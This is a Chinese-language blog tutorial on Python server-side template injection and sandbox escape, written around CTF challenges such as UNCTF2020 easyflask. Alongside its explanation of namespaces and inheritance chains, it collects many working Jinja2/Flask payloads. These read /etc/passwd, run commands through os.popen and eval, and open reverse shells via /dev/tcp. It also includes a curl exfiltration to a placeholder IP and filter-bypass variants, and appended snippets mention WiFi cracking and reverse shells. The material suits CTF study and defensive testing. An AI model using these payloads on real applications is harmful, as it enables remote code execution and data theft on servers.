<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】淺析Python SSTI/沙盒逃逸

    一顆小胡椒2022-06-23 09:35:42

    前言

    之前也接觸過什么是SSTI,但大多以題目進行了解,很多模塊以及payload都不了解其意就直接拿過來用,感覺并沒有學到什么東西,最主要的是在繞過的過程中,不清楚原理沒有辦法構造,這次就好好來學習一下原理以及姿勢

    一、基礎知識

    0x00:沙盒逃逸

    沙箱逃逸,就是在一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程

    0x01:python的內建函數

    啟動python解釋器時,即使沒有創建任何變量或函數,還是會有很多函數可供使用,這些就是python的內建函數

    在python交互模式下,使用命令dir('builtins')即可查看當前python版本的一些內建變量、內建函數

    內建函數非常強大,可以調用一切函數

    0x02:名稱空間

    內建函數是怎么工作的哪?就需要了解一下名稱空間

    python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。

    1、內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字
    2、全局名稱空間:在執行文件時,存放文件級別定義的名字
    3、局部名稱空間(可能不存在):在執行文件的過程中,如果調用了函數,則會產生該函數的名稱空間,用來存放該函數內定義的名字,該名字在函數調用時生效,調用結束后失效

    加載順序:

    • 內置名稱空間—>全局名稱空間—>局部名稱空間

    名字的查找順序:

    • 局部名稱空間—>全局名稱空間—>內置名稱空間

    在python中,初始的builtins模塊提供內建名稱空間到內建對象的映射

    在沒有提供對象的時候,將會提供當前環境所導入的所有模塊,不管是哪個版本,可以看到__builtins__是做為默認初始模塊出現的,使用dir()命令查看一下__builtins__

    可以看到有很多關鍵字

    __import__ open
    

    這也就是為什么python解釋器里能夠直接使用某些函數的原因,加載順序操作python解釋器會自動執行,所以我們能直接看到一個函數被使用,如:使用print函數

    0x03:類繼承

    上面了解了什么是名稱空間,要學會構造SSTI的payload,還需要學習一下類繼承,那什么是類繼承那?

    python中一切均為對象,均繼承于object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。

    常見的繼承關系的方法有以下三種:

    1. __base__:對象的一個基類,一般情況下是object
    2. __mro__:獲取對象的基類,只是這時會顯示出整個繼承鏈的關系,是一個列表,object在最底層所以在列表中的最后,通過__mro__[-1]可以獲取到
    3. __subclasses__() :繼承此對象的子類,返回一個列表

    考察SSTI的CTF題目一般都是給個變量,因為有這些類繼承的方法,便可以從任何一個變量,回溯到基類中去,再獲得到此基類所有實現的類,這便是攻擊方式:

    從變量->對象->基類->子類遍歷->全局變量
    

    找到我們想要的模塊或者函數,然后進行構造payload。

    0x04:常見payload分析

    通過掌握上面的基礎知識便可以來簡單分析一下常見的payload,如:

    #python2''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
    

    先來了解一些內建屬性的作用:

    1. __class__ 返回調用的參數類型
    2. __bases__ 返回類型列表
    3. __globals__ 以字典類型返回當前位置的全部全局變量

    將payload拆解下,一點一點來看

    1、''返回的是字符串類型

    2、加上__mro__返回的是繼承鏈關系

    3、再添加上__subclasses__()返回的便是類的所有子類

    定位到需要的子類

    4、接下來添加上 __init__用傳入的參數來初始化實例,使用__globals__以字典返回內建模塊

    5、調用成功,接下來就可以執行命令了

    如果是python3的話,那這個payload就需要重新修改,因為python3返回的不再是site.Printer類,而是ContextVar

    ''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar類
    

    如果一個一個去找太麻煩,可以使用命令

    for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
    

    __subclasses__()每個字類都返回出來

    這樣便方便找到自己想要的子類

    0x05:考察的Web框架及模板引擎

    一般出SSTI題考察的Web框架有以下幾種:

    1. flask
    2. Tornado
    3. Django

    因為每個框架涉及的知識都很多,這里就不再詳細記錄了,只記錄一下在做題的時候可能會遇到的配置文件

    Tornadohandler.settings

    這個是Tornado框架本身提供給程序員可快速訪問的配置文件對象之一
    handler.settings-> RequestHandler.application.settings
    可以獲取當前application.settings,從中獲取到敏感信息
    

    [護網杯 2018]easy_tornado便考察了這個點

    flaks:內置函數

    config 是Flask模版中的一個全局對象,代表“當前配置對象(flask.config)”,是一個類字典的對象,包含了所有應用程序的配置值。在大多數情況下,包含了比如數據庫鏈接字符串,連接到第三方的憑證,SECRET_KEY等敏感值。
    1. url_for() — 用于反向解析,生成url
    2. get_flashed_messages() — 用于獲取flash消息
    {{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
    

    如果過濾了{{config}}且框架是flask的話便可以使用如下payload進行代替

    {{get_flashed_messages.__globals__['current_app'].config}}
    {{url_for.__globals__['current_app'].config}}
    

    shrine便考察了這個知識點

    模板引擎有以下幾種:

    1. jinja2
    2. Twig
    3. Smarty(PHP)
    4. Mako

    要判斷是哪個模板引擎,可以參考下圖或者使用工具tplmap進行檢測

    0x06:Python常用的命令執行方式

    1、os.system()

    該方法的參數就是string類型的命令,在linux上,返回值為執行命令的exit值;而windows上,返回值則是運行命令后,shell的返回值。
    注意:該函數返回命令執行結果的返回值,并不是返回命令的執行輸出(執行成功返回0,失敗返回-1)

    2、os.popen()

    返回的是file read的對象,如果想獲取執行命令的輸出,則需要調用該對象的read()方法

     

    二、姿勢匯總

    0x00:做題思考

    一般遇到SSTI的題目時都是直接去搜現成的payload,然后進行套用,但有的時候考察的點或者是python環境不同,就可能出現上面的類差異,從而導致payload無法正常使用,解不出題來

    所以在做題的時候就要思考,需要的是什么模塊,比如想要os模塊,那么就可以通過編寫腳本查找os模塊就會非常方便一些

    python2

    num = 0for item in ''.__class__.__mro__[-1].__subclasses__():    try:        if 'os' in item.__init__.__globals__:
                print num,item
            num+=1
        except:
            num+=1
    

    python3

    原理相同,但是python3環境變化了,例如python2下有file而python3沒有,所以直接用open。
    python3的利用主要索引在于builtins,找到了它便可以利用其中的eval、open等等來執行想要的操作
    #!/usr/bin/python3# coding=utf-8# python 3.5#jinja2模板from flask import Flaskfrom jinja2 import Template# Some of special namessearchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
    neededFunction = ['eval', 'open', 'exec']
    pay = int(input("Payload?[1|0]"))for index, i in enumerate({}.__class__.__base__.__subclasses__()):    for attr in searchList:        if hasattr(i, attr):            if eval('str(i.'+attr+')[1:9]') == 'function':                for goal in neededFunction:                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):                        if pay != 1:
                                print(i.__name__,":", attr, goal)                        else:
                                print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
    

    0x01:常見payload

    有現成的payload肯定用起來香啊,還是總結一些,方便之后自己再做類似的題目參考

    python2

    #python2有file#讀取密碼''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#寫文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模塊system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反彈shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服務器地址/端口 0>&1').read()
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
    注意該Payload不能直接放在 URL 中執行 , 因為 & 的存在會導致 URL 解析出現錯誤,可以使用burp等工具#request.environ與服務器環境相關的對象字典
    

    python3

    #python3沒有file,用的是open#文件讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
    {{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}#命令執行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
    

    https://github.com/payloadbox/ssti-payloads

    其他的就不再一一列舉了,可以參考Github上的。

    0x02:Bypass姿勢

    拼接繞過

    object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    ().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
    

    編碼繞過

    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(#等價于().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
    

    過濾中括號[]

    #使用getitem()\pop()__mro__[2]== __mro__.__getitem__(2)''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    

    過濾{{或}}

    使用{%進行繞過

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
    

    過濾_ 和引號

    可以用|attr繞過

    {{()|attr(request.values.a)}}&a=class
    

    使用request對象繞過,假設過濾了__class__,可以使用下面的形式進行替代

    #1{{''[request.args.t1]}}&t1=__class__#若request.args改為request.values則利用post的方式進行傳參#2{{''[request['args']['t1']]}}&t1=__class__#若使用POST,args換成form即可
    

    過濾.

    可以使用attr()[]繞過

    #attr(){{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}#[]{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
    

    reload

    如果reload可以用則可以重載,從而恢復內建函數

    reload(__builtins__)
    

     

    三、題目實踐

    UNCTF2020-easyflask

    存在SSTI,先fuzz一下,看看都過濾什么

    import requestsfrom time import sleep
    dic = ['config','class', 'bases','_','\'','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']
    pass_dic = []for i in dic:
        url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i)       
        res = requests.get(url=url).text    # print(res)
        # sleep(1)
        if 'black list filter' in res:
            pass_dic.append(i)
            print(pass_dic)
    

    過濾了' _ [ ],那接下來就要思考怎么去構造payload了,上面總結的payload直接拿來用肯定會被過濾,因為大多數涉及到了[,但可以使用|attrrequest.args.xx來繞過下劃線和引號,只要明白原理,便可以使用上面的payload修改一下即可

    {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
    

    拿這個payload進行修改之后

    {{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=read
    

    payload有很多,只要能從基類獲取到全局變量,之后一步一步調用就可以

     

    pythonpython函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Python簡介 Python是一種簡單易學,功能強大的編程語言,它有高效率的高層數據結構,簡單而有效地實現了面向對象編程。Python簡潔的語法和對動態輸入的支持,再加上解釋性語言的本質,使得它在大多數平臺上的許多領域都是一個理想的腳本語言,特別適用于快速的應用程序開發。進入Python shell,使用Python2.7版本的命令、標準API或擴展API對設備進行配置。本文案例是以H3C廠商為例,其他廠商過程類似。執行Python腳本文件 請在用戶視圖下執行本命令,執行Python腳本文件。
    前言本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的暴力破解,從而實現免費蹭網。無圖形界面先來看看沒有圖形界面版的爆破腳本。WIFI爆破import pywififrom pywifi import constimport timeimport datetime. 下面進行改造優化:import pywifiimport timefrom pywifi import const. # WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range: time.sleep print('\r掃描可用 WiFi 中,請稍后。。。
    本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的暴力破解,從而實現免費蹭網。無圖形界面 先來看看沒有圖形界面版的爆破腳本。 WIFI爆破
    函數簡介 云函數是騰訊云為企業和開發者們提供的無服務器執行環境,可以無需購買和管理服務器的情況下運行代碼。只需使用平臺支持的語言編寫核心代碼并設置代碼運行的條件,即可在騰訊云基礎設施上彈性、安全地運行代碼。SCF是實時文件處理和數據處理等場景下理想的計算平臺。服務端配置云函數基礎配置選擇自定義創建,地域自選,部署模式,代碼部署,運行環境Python3.6,其余默認即可。
    CTF-web--命令注入
    2023-03-31 09:51:35
    大佬總結的文章,本篇文章閱讀時間大約30分鐘。一 、基本原理 命令注入指的是,利用沒有驗證過的惡意命令或代碼,對網站或服務器進行滲透攻擊。注入有很多種,并不僅僅只有SQL注入。Injection)客戶端腳本攻擊(Script?injection)動態函數注入攻擊(Dynamic?Evaluation)序列化注入&對象注入。這種題目又哪些常見的,一個是我們常用的文件包含,我們是可以使用system等函數的,或者是php函數,應該也屬于命令注入的范疇。類似于 ?
    GPT技術和人工智能的最新進展徹底改變了我們與機器交互的方式,帶來了更加人性化的體驗。 Auto-GPT 是一種在 GPT-3.5 架構上訓練的語言模型,是該技術的一個典型例子。 為了測試 Auto-GPT,要求它設計一個值得 Masterchef 的食譜生成器網站,該網站可以根據用戶的喜好創建新的、獨特的菜肴。它會以不同的方式多次執行相同的提示,直到破解代碼(毫不夸張地說)。因此,它爬
    在我們滲透測試的過程中,最常用的就是基于tcp/udp協議反彈一個shell,也就是反向連接。我們先來講一下什么是正向連接和反向連接。centos執行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 這個payload是反向連接并且只支持Linux,Windows可以參考離別歌師傅的python windows正向連接后門。這樣會把目標機的/bin/bash反彈給攻擊機但是很多Linux的nc很多都是閹割版的,如果目標機器沒有nc或者沒有-e選項的話,不建議使用nc的方式.PHP攻擊機監聽nc -lvvp 4444. 要求目標機器有php然后執行php -r '$sock=fsockopen;exec;'. 加載64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类